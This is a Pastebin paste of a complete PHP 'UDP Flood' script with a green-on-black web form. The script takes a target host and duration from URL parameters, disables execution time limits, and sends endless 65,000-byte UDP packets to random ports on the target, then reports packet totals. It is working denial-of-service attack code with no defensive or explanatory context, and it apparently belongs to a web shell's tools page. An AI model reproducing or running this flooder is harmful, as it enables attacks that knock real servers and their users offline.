Advertisement
Guest User

Untitled

a guest
May 22nd, 2017
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.89 KB | None | 0 0
  1. <html>
  2. <body>
  3. <center>
  4. <font color="00FF00">
  5. <pre>
  6. </pre>
  7. <STYLE>
  8. input{
  9. background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
  10. }
  11. button{
  12. background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
  13. }
  14. body {
  15. background-color: #000000;
  16. }
  17. </style>
  18. <?php
  19. //UDP
  20. if(isset($_GET['host'])&&isset($_GET['time'])){
  21. $packets = 0;
  22. ignore_user_abort(TRUE);
  23. set_time_limit(0);
  24.  
  25. $exec_time = $_GET['time'];
  26.  
  27. $time = time();
  28. //print "Started: ".time('d-m-y h:i:s')."<br>";
  29. $max_time = $time+$exec_time;
  30.  
  31. $host = $_GET['host'];
  32.  
  33. for($i=0;$i<65000;$i++){
  34. $out .= 'X';
  35. }
  36. while(1){
  37. $packets++;
  38. if(time() > $max_time){
  39. break;
  40. }
  41. $rand = rand(1,65000);
  42. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  43. if($fp){
  44. fwrite($fp, $out);
  45. fclose($fp);
  46. }
  47. }
  48. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  49. echo '<br><br>
  50. <form action="'.$surl.'" method=GET>
  51. <input type="hidden" name="act" value="phptools">
  52. Host: <br><input type=text name=host><br>
  53. Length (seconds): <br><input type=text name=time><br>
  54. <input type=submit value=Go></form>';
  55. }else{ echo '<br><b>UDP Flood</b><br>
  56. <form action=? method=GET>
  57. <input type="hidden" name="act" value="phptools">
  58. Host: <br><input type=text name=host value=><br>
  59. Length (seconds): <br><input type=text name=time value=><br><br>
  60. <input type=submit name=submit value=Go></form>';
  61. }
  62. ?>
  63. </center>
  64. </body>
  65. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement